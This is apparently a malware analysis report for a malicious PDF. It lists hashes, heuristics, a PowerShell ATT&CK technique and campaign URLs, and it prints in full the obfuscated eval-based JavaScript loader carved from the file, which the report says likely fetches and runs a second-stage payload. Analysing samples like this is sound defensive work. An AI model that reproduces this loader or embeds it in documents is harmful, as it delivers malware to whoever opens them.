Malicious PDF — malware analysis report

Static analysis result for SHA-256 58de7c35805f1db0…

MALICIOUS

PDF

2.8 KB First seen: 2026-05-10
MD5: 4299534cbc00dfba9698fc62130e1ac9 SHA-1: 43a4179d8eb47831d3607e1bcb5be47a786b0df2 SHA-256: 58de7c35805f1db0ec7811e796a1c07511a36c6def7f48aa3a4ec156bebe37ca
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of PDF_EVAL and PDF_FROMCHARCODE suggests that the JavaScript is obfuscated and likely uses eval() to execute arbitrary code. The extracted JavaScript files, 'javascript_obj111611_000.js' and 'javascript_obj111612_001.js', are suspicious artifacts. The obfuscated nature of the script implies it's designed to download and execute a secondary payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('asyselb=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
    • http://HKf2Y.TJ/F./Referenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 258 bytes
SHA-256: 4177910eeded3bef1b0c4caba0909070fc78d3c270fc0f028003d7038842f7fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('asyselb=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x268 3375 bytes
SHA-256: 930f0db57b9d99642e8187b1955c8c8c44d5a8526209e60e2abb34de73d649ee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
ypgpew6="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O2[0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:3M3P072_053N032S0131370,0-2`3O0*2a2c";dvfmau="A602ZBDFJcKb=gLj00C8hY7MM]T1D70SDG3?TD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?<9@==9`]aMgjU@fGKMg9e_7LL_fH7+[c:K,5P-.PC8b@VX282KbA`0=Dh9.3LV,.ZX8K6OQ:JTCN2*Eg2**.3OZ+,EGeR;=JXK8W:2<Z*T.OeJK96,N2/5+,<-^2;O^T:OJg]._Z9K96*>2T`JK5+h_3dNT:LT@,.]@G,CSPZJ*-R:1*.2CAGK*GEB:**2=DJe.XfIK**1:P?*2=[CV3fWC,CW,ZJ*-R=,J.3cGg2**.3@R+,@_@:J*-R=[*.3fWC,CW,ZJ*-R;=J,.+`HK9C:V2U+>K*5]R:**2<SQK,<V*:Qi1:LLXS,DCER<QEV2RR@K9.*:QX`N3E4/K**,ZP/*2:@?U,*f,ZJ**:PVg>3:YXK*5J:J**:P+KB:@?U,*f8K***K*-P:J+^2=@H4.RAb:J8^B:**2=[B@.haVK3I:V2**@.ZR+,*16K5JU@.-8C,D^[:O,ie.+aE,**+,?UKB=0,].**G,H2*K9GU2=7R@.**G,B>*K9-YK***K4`*2<aL].**G,H2*K9GU2=7R@.**G,4F*:J8U_3f4/K/B4N2+Ha.**,.TCc:NU*.3jK_2RUT:PP@e.Saf,44/R=[*.3fWC,@]KB:**V3K:,./ODZJ8ZV2**.3U9/,>5fR:,c.2**.3JB@./ODZJ8^R:**2:*dN2*F].`QLK4/h_2-Va.**,.g@/K9GU2;Q>5,**/K64*:J+^2<c4`K*^P:PVg>3:YXK*GPZJ**:ODc@.[JVK**1:JUJ,.]XA:P6^B=-6/,>?QZJ**:J**:J**:J**:J**:J**:J**:J**:QCD>3OS@K8Xf2=*N.34b8K58fc<`*,.db?K5>e_3[H/,Fe;B<:S/K*,^R=VW4.Z3@K8U2V3Cb4K8W`R=VN@.NT<R=3*.3ag4.OhVK8?a:KKJ+,?5cR<VY/,>+::NVCV2>?ER=[?O,4G>>2CW*K*+?2:**2:^*?,*?[N2**.2]fXK9Z/:J/FC,**+,<-^2=`<i.G<Q:KP*T.*UM2:**2:]ffR:,XU,**+,*SO_2c^gK**,ZM-*,.+=5R;[Qd,**/K6**K0A66K9Z/:J/FC,**+,CU-2<c[=R=8CG,IJ4K*4c].**,.SbLK5SH4.U=1:M8TT.OE+:PD/R==54K6b;:O^K4K*?R:KCIN2**@.>c*K+GAR;ObG,D/1:J4*V2eYd,**/K9.*:M5TG,IJ4K*4c].**,._]LR:*F.2**.2**.2**.2**.2**.2**.2**.3cJ,.FCi:J*+B=8*2=I]>3@XI,?U@V3Pd@.+^-2=ZSV2BBUB:,]W,EGSN3P>?,@SKB<`EA:KGWV3DOU:J+DN3KF].WD`2<>XU,G=WK8G`B=5GD.Wb?K8SZR<^X].N*+,Gb@K3+52:XhD.OjC,*1C,<5]R<<XG,/bYK8i::J+22<?Xi.N.U:KDTC,GdDZQ>ON3ag4.eb8K85`B<;HG,GY8K8552=PG<.5Y8K8U]R:WHXK,f`2=YN.2TVJK/AF4.*/G,,**9/dVFH.2:LdJ[/KY5a*-iI.1.PC8b@VXIPiQ;hRV2H</E11K,.2XB6;YS_JcJ7GJ***KW.HU-HAV*1gi2HL*`Tiga89,.2;FZBNf+Q_[+[.8eiR]EAScK+*22::,*gAP[[c:K,=V0I=.1.T`7CYW=;f8ZCh6H]7h8bP[[c:K,5P-.P[IPcE9C>JcM_0V4+:4+:KW.+UV***AL0a:0XZ***a89,.2<T_BM`FZBLdHRD^>5S]-L*a2XAT0V`,eFLi37Lj7ZaH]UBLdHRD^>5S]1Rh.Y0Jcg2:K,.B678ESFY>7CT/_dX]-L=V0I=.9;3P=W`U5P[[c:K,0Ncg2:K/^+L7+ej@1[OgIN1.:fUeM3WHQL*.H5^Bcg2:K-hB`7h2hD-`iV9M5cjIPiQ;hRV2YL*`a**Y7+ej@1[OgIN9:cM:HY`KgCI1fBcg2:K0JhIU-c]i9]-L1JiIMZ:h.D-`iV9M5cjE11K,.2]DCiX@_IQhDbEV6IKj@KV>@QAU:HY`KgCI1hdVFH.2D:";dmfvd=2763;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/bpfpho7/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(ypgpew6.length){bpfpho7.push((xmgodph(ypgpew6.charCodeAt(0))<<(4+2))+xmgodph(ypgpew6.charCodeAt(1))-(500+12));ypgpew6=ypgpew6.slice(2,ypgpew6.length)}cmhujq=fugwk=ypgpew6=0;evawxs='';function xmgodph(azkqj){if(azkqj>92)azkqj--;return azkqj-42}function evinjla(){if(ypgpew6==0){fugwk=xmgodph(dvfmau.charCodeAt(cmhujq++));ypgpew6=6;}return ((fugwk>>--ypgpew6)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(dmfvd--){i=0;while(bpfpho7[i]<0){if(evinjla())i=-bpfpho7[i];else i++;}evawxs+=String.fromCharCode(bpfpho7[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.